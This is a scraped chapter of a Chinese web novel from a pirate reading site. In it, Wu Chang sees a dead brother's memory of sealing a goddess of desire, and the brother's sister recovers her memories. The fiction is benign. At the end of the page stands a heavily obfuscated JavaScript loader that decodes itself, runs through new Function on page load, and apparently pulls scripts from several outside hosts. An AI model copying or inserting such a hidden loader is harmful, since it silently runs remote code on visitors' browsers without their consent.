首页
第208章 贺毅的怨念
返回

第208章 贺毅的怨念

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    贺云发问时颤抖的声音,说明她已经猜到了石棺中的人桩是谁。
    贺云和她哥哥人手一颗欲望原石,贺云的欲望原石还在手上,石棺中躺着是谁,结论显而易见。
    吴常伸手搂过贺云的肩膀,他张了张嘴,却不知该说些什么。
    总不能说你们兄妹真是心有灵犀,点子都想到一块儿去了吧。
    他原以为贺云需要一段时间才能调整情绪,即便不放声大哭,也得抹两滴眼泪意思意思。
    谁知贺云的颤抖只持续了几秒,便飞快冷静下来,从地上站了起来。
    吴常仰头看着贺云的侧脸,那是一张格外严肃,看不出喜悲的脸。
    “不行,我不能在这里停下,我必须解决这一切,不能让他们的付出变成泡影。”
    贺云低下头,和吴常的目光对上,她说:
    “这里发生的一切,已经超出了我的预计,如果哥哥的化身人桩,都无法封印神殿中的欲望之神,那多我一个,恐怕也未必有用。”
    “最坏的情况,便是祂已经脱困。”
    “我接下来,可能要面对一名脱困的神明,我无法保证接下来会发生什么,你对于灾厄之雾免疫的能力,未必在神明面前依旧有效。但是,我还是想得到你的帮助。你……”
    吴常从地上坐起来,慢悠悠地掸了掸裤子上的灰,要不是贺云看不见,他真想给贺云展示一下,他此刻头顶悬浮的彩色称号。
    懂不懂什么叫「渎神者」?
    神明?老子肘的就是神明!
    “我已经说过很多次了,无论你干什么,我都会陪你走到最后一步。就算到最后,全世界只有一个人还站在你身边,那也一定会是我。”
    吴常这句话并不是虚言,毕竟「渎神者」这个称号,可不是那么轻松能获得的,如果全世界只剩下一个人敢和神明作对,那也一定会是他。
    只不过贺云对于这句话理解似乎有所偏差。
    贺云像是被他的目光灼烧,转头望向门口,说道:“事不宜迟,我们赶紧去欲望石碑所在的房间吧。”
    贺云跟随找回的记忆,带着吴常来到神殿的正殿。
    正殿中央,立着一座直抵天花板的巨大石碑,高度不下三十米。
    石碑体积巨大,每一行许愿的文字放在石碑上,高山上的一颗石子,然而层层愿望堆叠之下,自上而下记录的愿望,竟然一路写到距离地面不到半米的位置。
    从无数的愿望之中,不难看到曾经供奉欲望之神的信徒,对于欲望是如何放纵。
    在巨大的石碑上,吴常看到了无数干涸的血迹。
    那些血迹有深红色,也有大红色,按照常理而言,凝聚了血色遗言的血迹,如果怨念中心愿未了,应该无法消散才对。
    可石碑上的血迹,任凭吴常如何尝试,都无法看到其中怨念。
    时间面前,即便是最难平的执念也无法抵挡。
    吴常的目光一路向下,在石碑的最后,他终于看到了一团淡红色的血迹。
    这团血迹,应该属于贺云的哥哥,88号地下庇护所曾经的首领,贺毅。
    没有血色遗言?
    吴常对于遗言的形态有些疑惑,就连卓杰最后都有血色遗言,怎么你没有血色遗言?
    你的责任心呢?
    是不是要我告诉你,你变成人桩也没能完全封印欲望之神,你小子就舍得留下血色遗言了。
    他啧了一声,嫌弃着贺毅抠门,随后看到淡红色血迹如旋涡般转动起来,将他的意识吸入其中。
    眼前视线一恢复,他便看到浓重的雾气扑面而来,耳机中传来贺云的声音。
    “我们即将踏入神庙,大家小心,这座神庙远比你们看到的更加恐怖。”
    还好他看过卓杰的怨念,要不然一时半会还不好理解当前的情况。
    怨念的视角,是从众人准备进入石头神庙开始的。
    吴常看向身边不远处的贺云,果然,石碑上的怨念来自贺毅。
    自从进入神庙后,贺毅的目光便一直放在贺云身上,最多在贺云身边几个身位晃动,不曾有丝毫离开,让吴常想多留心周围发生了什么都无法做到。
    从贺毅的状况来看,他虽然是地下庇护所的首领,但他所扮演的角色,并非决策者,而是守护者。
    在他心中,真正能解决问题的是贺云。
    事情接下来的发展,和卓杰怨念中的场景相同。
    有什么攻击自浓雾之中传来,击破了小队成员身上的防护罩,随着防护罩破裂,耳机中传来小队成员的喊叫声。
    “该死!雾气里有怪物!”
    “老大,我的防护罩破了,雾涌进来了,我感觉有什么东西正在往我体内钻!”
    “你别过来,快滚,滚啊!”
    情况越是危急,贺毅的状态越是沉稳,吴常能感觉出,他连呼吸的频率都未有所变化,冷静的如同一台机器。
    下一刻,贺毅动了。
    他反手握住身后的长刀,伴随着尖锐的破风声,光芒从他握刀的手掌开始亮起,一边沿着手臂传至全身机甲,一边沿着刀身传至刀尖。
    光芒转瞬便布满三米长的机甲长刀,刀身上的光芒,如同一层无形的气刃,即便是灾厄之雾,也要被刀气割开。
    紧接着,贺毅向前奋力挥动长刀,刀锋携带无可抵挡之势,劈碎了什么东西。
    直到破碎声响起,贺云才后知后觉发现袭击,她看向贺毅,眼中满是自责。
    因为灾厄之雾中的袭击,是向两人同时发出的。
    贺毅能够反应过来,但他只有出一刀的机会,他把这一刀,用来斩碎了对贺云的袭击。
    与之相对,他自己机甲的保护罩,被不明能量击穿了一个空洞。
    看着逐渐涌来的灾厄之雾,贺毅依旧没有丝毫动摇,甚至言语中都没有丝毫感情。
    “别愣着,快走!”
    吴常很快就知道,贺毅为什么能当选地下庇护所的首领,而玩弄众人的墨丘利,为什么不用更直接的手段,而是要大费周章的布置一场戏。
    因为这厮是真的猛。
    受到灾厄之雾影响,他们周围开始不断涌现出各种雾气化身的敌人,这些敌人驾驶着各色机甲,战斗力明显超过吴常和贺云遇到的丧尸机甲,应该是其他地下庇护所中最强大的战士。
    吴常和贺云经历过一次灾厄之雾,知道在灾厄之雾中,敌人只会越杀越多,最好的应对方式是不下死手,多逃少打,趁着敌人还少,找到灾厄之雾领域的节点。
    但那是在面对灾厄之雾不多的情况下。
    以石头神庙中灾厄之雾的浓度,即便突破一个节点,很快便会再次受到影响。
    如果让吴常应对眼下的状况,他能做出的应对,要么是四方岁火灯,要么尝试用五雷法抽奖,看看哪一雷对灾厄之雾有克制作用。
    然而贺毅的应对之法,是硬刚。
    他担心怪囤积的多了,影响他的感知,防不住暗中刺破防护罩的偷袭。
    面对雾气中不断出现的强大机甲战士,贺毅如同砍瓜切菜一般,一刀一个,硬是把机甲战斗玩出了无双的感觉。
    吴常毫不怀疑,如果贺毅活着,看到头盔男对贺云有什么想法,穿上机甲能活劈了头盔男。
    不过贺毅也并非真无敌,在推进的过程中,每次拦截针对贺云的偷袭,都会让他露出破绽,而灾厄之雾中凝聚的机甲战士,不会放弃这个机会。
    最危险的一次,对方蓄力的狙击,差点洞穿贺毅的胸口,尽管贺毅已经及时闪躲,右肋处机甲还是被擦破一个大口子,连带他右臂上戴着的庇护所首领标识都被打飞到神殿角落。
    再向里一点,就会洞穿他的身体,
    只不过机甲部分受损,并不能阻拦他前进的步伐。
    在贺毅的无情推进下,他很快护送贺云来到神殿大殿。
    他守在大殿门口,拍了拍贺云的肩膀,说道:“贺云,接下来,就交给你了。”
    直到贺云进入神殿,贺毅的表情才有所变化,半靠在正殿门口的石柱上。
    他冲着不断凝聚的雾气战士抱怨道:“早知道事情会演变到这一步,行动前我就先上门把你们挨个宰了,这样即便我不在,也没人能欺负小云。”
    可惜灾厄之雾凝聚的机甲战士,并不会搭话。
    接下来,便是漫无止境的战斗,当机甲的能量耗尽,没有来自机甲的助力后,贺毅身上开始快速挂彩,直到再也无法起身。
    躺在地上的贺毅,用尽最后的力气,抬头看了一眼正殿。
    他看到正殿内的光芒越发耀眼。
    “看来是亲眼看不到结果了。”
    贺毅双眼一黑,彻底失去了知觉。
    不知过了多久,贺毅再次睁眼,他看向头顶,是熟悉的天花板。
    不对,是熟悉的灾厄之雾,有浓雾遮挡,他看不到神殿的天花板。
    “我还活着?”
    他不仅活着,死前战斗中受到的伤,竟然奇迹般的全部愈合。
    神庙内灾厄之雾依旧浓重,却没有再次对他产生影响,仿佛他不存在一般。
    “这不科学。”
    一道声音从他耳边传来,“不,这很科学。”
    贺毅转过头,只见一身西装的墨丘利站在他身边。
    面对墨丘利,贺毅飞快变脸成三无表情,问道:“你救了我?”
    墨丘利耸了耸肩,说道:“当然,除了我,这里还有第二个人吗?”
    贺毅略显惊讶道:“我还是第一次知道你是名医生,而且,治疗的可以这么彻底。”
    墨丘利挥舞着手中双蛇缠绕的手杖,说道:“你不知道双蛇缠绕的手杖,是医生的标志吗?”
    贺毅疑惑道:“我怎么记得代表医生的蛇杖上只有一条蛇?”
    墨丘利说道:“不要在意这些细节,军医系统,还有很多医院为了好看,都会选择用蛇杖作为标志。这不是重点,重点是我救了你。”
    贺毅并没有搭茬,他拆掉身上破碎的机甲,在周围翻找了一圈,捡起被打碎的机甲长刀刀柄。
    破碎的机甲长刀,只剩七八十厘米的残刃,他挥舞了两下,刚好够他肉身使用。
    捡起断刃,他才抬头问道:“贺云呢,她现在情况怎么样?”
    墨丘利摇了摇头,说道:“很不好,这也是我把你救起来的原因。”
    贺毅眉头微皱,说道:“需要我做什么?”
    墨丘利也不废话,直接说道:“由于你们不听我的建议,滥用神庙中的能力,导致欲望之神提前苏醒了。我和贺云找到一种结束一切的方法,这本来是一个完美的计划,但有一个小意外,清醒的欲望之神不同意。”
    “所以,我想请你出手,让欲望之神再安静一会儿。”
    贺毅明白了墨丘利的意思,他点了点头,说道:“我明白了。”
    说完,贺毅站起身,走进神殿正殿。
    在欲望石碑前,他看到了漂浮在光芒中的贺云,她似乎正沉浸在某种空间之中。
    一旁的墨丘利解释道:“是欲望之神,祂在试图用神力影响贺云,咱们必须加快速度,否则一旦贺云在欲望之神的能力中迷失,祂将彻底脱困,一切便无可挽回。”
    贺毅最后看了贺云一眼,他用拇指按在断刃的剑柄上,断刃的护手上弹出一个暗格,他从中倒出一颗粉红色宝石。
    这是他保管的那颗欲望之石。
    他全程参与了解读神庙中文字的过程,虽然他没有真正掌握这门语言,但他记得哪一条是人桩封印欲望之神的愿望。
    不会写,还不会抄吗?
    贺毅毫不迟疑,用欲望之石在石碑上开始抄了起来。
    抄到一半,接近结尾的时候,墨丘利突然问道:“你就这么相信我,没有一点怀疑吗?”
    贺毅手中不停,说道:“你想听真话还是假话?”
    墨丘利说道:“当然是真话。”
    贺毅:“真话是,我相信的不是你,而是贺云。我只需要负责为她争取出空间,她最后一定可以把问题解决。”
    说到这里,贺毅手中的愿望也来到了尾声,只需要最后两个字符,就能将愿望写完。
    但就在这时,一阵刺耳的尖叫冲入他耳中。
    “住手!”
    尖锐的声音,令他忍不住眯起眼睛,当尖叫消失,他睁大眼睛,发现身边的贺云和墨丘利都已经消失不见。
    不仅如此,破败古老的石头神庙,此刻竟然变得金碧辉煌,冰冷的石板上,铺满了刚采摘下来的鲜花,每一朵花都保持在开得最盛的阶段,仿佛用鲜花铺成的地毯。
    花毯之上,站着一名美丽到不像人的少女,或者说女士。
    她身上同时具备少女的纯真,与少妇的成熟,一颦一笑,都能挑动人心底最深层次的欲望。
    贺毅认得祂,祂是极乐教派供奉的母神。
    极乐教派,一个确定地心计划,人类要从地表撤到地下的时候,突然冒出来的新兴宗教,据说屠杀77号地下庇护所的庇护所联合中,很多极乐教派的信徒。
    不得不承认,母神的身姿十分诱惑,虽然祂并不是贺毅的理想型,但见到祂的瞬间,他的理想型就变成了祂。
    如果给他一个机会,他绝对会玩命追求母神,即便付出生命也在所不惜。
    但现在不行。
    因为妹妹需要他。
    于是他只是看了一眼,出于礼貌微微起立,便继续书写着愿望。
    “住手!”阻止的声音再一次响起,这一次是来自母神的嘴里。
    “欲望原石是人家给听话小孩的奖励,用欲望原石封印人家,你的良心不会痛吗?”
    贺毅点点头,边写边说:“会痛。”
    “会痛你还写!”母神不满的喊起来。
    贺毅理所当然道:“会心痛,不代表我不会干,如果惹到你不开心,我可以道歉。”
    母神沉默了,她感觉到随着时间的流逝,祂和现在的人类之间出现了代沟,不把话说明白,对方似乎就听不懂。
    母神换了一种交流方式,祂用甜美的声音说道:“你知道上两个这么干的坏孩子,遭受了什么惩罚吗?”
    贺毅微微停顿,问道:“什么惩罚?”
    母神笑着说道:“即便用欲望原石来封印人家,灵魂也是要献祭给人家的,所以我让他们的灵魂,永远沉浸在他们最不愿看到的场景之中,无限循环。”
    “有一个坏孩子很快就坏掉了,只过了三天,就疯狂求饶忏悔着他的罪行。嘻嘻,不过我没听。第十天,他的灵魂支撑不住,彻底碎掉了。”
    “另一个坏孩子意志坚定一些,让我多欣赏了一些他的惨状,不过也只坚持了半年就碎掉了。”
    “你说,你最害怕的是什么?”
    母神的脸瞬间黑了下来,她瞪大双眼,漆黑的瞳孔几乎占据整个眼球,她凑到贺毅耳边,疯狂碎碎念道:
    “相信我,那两次是我第一次惩罚坏孩子,技术不够好。在听到我警告后,还敢继续作恶的坏孩子,比如你,罪无可恕。”
    “我可以保证,这次我一定会用尽所有心思,陪你一直玩下去,让你品尝不一样的痛苦,让你的灵魂永远沉浸在绝望之中,想要彻底碎裂解脱都无法做到!”
    母神的威胁十分恐怖,然而贺毅根本没有听,在母神威胁的同时,他已经写完了手中的愿望。
    “啊!你怎么敢,你怎么敢!”
    “坏孩子,这里有坏孩子!必须狠狠惩罚你!”
    “我要让你痛苦,我不仅要把你,还要把外面那个愚蠢的小丫头的灵魂一起囚禁起来,让你们遭受永无止境的折磨!”
    母神双手捧着脸,气急败坏的大喊起来。
    贺毅能够感觉到的,自己的灵魂,逐渐被面前的女人掌控,但他脸上反而露出了笑容。
    “你怕了。”
    这句话对于母神的杀伤力,无异于你急了,母神的怒火瞬间被堵住,整个人像是开了静音。
    祂看着贺毅,目光中闪烁为极为危险的光芒,随后说道:
    “我怕什么?”
    “你怕了你口中那个愚蠢的小丫头,那是我最为骄傲的妹妹。”
    贺毅继续说道:“她比任何人都要聪明,我的存在,其实一直在影响她的成长。脱离了我的保护,她一定能飞快成长起来,要不了多久,她就可以找到方法,彻底将你打败。”
    “我如此坚信着。”
    母神狠狠地看着贺毅,说道:“你会为今天激怒一名神明,而付出代价的。”
    怨念中的景象到此为止,随着眼前一阵恍惚,吴常的意识回到现实。
    看过贺毅的怨念之后,他开始明白为什么贺毅的怨念中没有血色遗言。
    因为他坚信在他争取出来的事件中,贺云一定能想出解决问题的办法,他对于贺云的相信,超过了自己。
    而且忌惮于贺毅的武力,同时也是为了利用贺毅到最后一刻,直到最后,墨丘利都没有在贺毅面前暴露本性。
    所以,他只有遗憾,并没有无法解开的执念。
    吴常正在感叹的时候,耳边传来贺云的喊声。
    “和平,想什么呢,别发呆了。”
    吴常晃了晃脑袋,他转头看向贺云,说道:“怎么了?”
    贺云说道:“我看到石碑上的愿望,脑海中记忆恢复了一小部分,最重要的部分我还没有想起来。我想我该多在周围走走,也许能想起什么。”
    “记忆的缺失,需要更多的刺激。”吴常直勾勾盯着贺云,嘴里喃喃道。
    贺云被吴常看得有些发毛,不满道:“你在说什么呢,你的样子好怪,不会在想什么不好的东西吧。我告诉你,可不是什么刺激都是刺激的,现在可不是你想那些事的时候。”
    吴常没注意到贺云的话,他用手猛地一敲掌心,掏出无限制随身直播间开始操作。
    片刻之后他猛地抬头,居然真的可行!
    他对贺云说道:“你在这里待着别动,我很快就回来。”
    贺云:“啊?哦。”
    贺云看着吴常转身跑走,脸上满是问号,不知道他要去干什么,同时心中有些担心。
    和平从来没进过石头神庙,不会迷路吧。
    几分钟后,吴常跑了回来,说道:“我之前告诉过你,我会通灵,你还记得吗?”
    贺云点头道:“记得。”
    记得归记得,对于所谓的通灵,她其实一直将信将疑。
    吴常来到贺云右手边,掏出他顺着贺毅怨念,刚捡回来的地下庇护所领袖标识,按在贺云的右手机甲上。
    “我刚才看到了你哥哥的灵魂,他说应该把这个东西交给你,他相信你能做好地下庇护所的领导,彻底解决石头神庙这个难题。”
    贺云看着右臂上的首领标识,头脑一瞬间陷入空白。
    她其实一直在为哥哥的死而愧疚,认为是她辜负了大家的期望,哥哥将所有希望都寄托在她身上,但是她却搞砸了一切。
    所以,她其实一直在逃避。
    但即便到了现在,哥哥却还在相信她,如果她继续逃避,那才会真的让哥哥失望。
    想到这里,她耳中似乎听到某些东西破碎的声音,大片的记忆如同潮水般涌来。
    正当她准备仔细查看这些记忆,寻找真正解决问题的契机时,吴常接下来说的话,让她彻底顾不上去管那些逐渐恢复的记忆。
    吴常看着贺云,试探性问道:“怎么样,这些刺激足够吗?”
    “如果不够的话,我还有个提议,咱们现在去救你哥哥怎么样?”
    贺云:“什么?!”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();